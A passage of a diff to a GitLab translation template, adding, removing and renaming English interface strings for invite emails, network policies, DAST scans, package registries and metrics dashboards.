-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
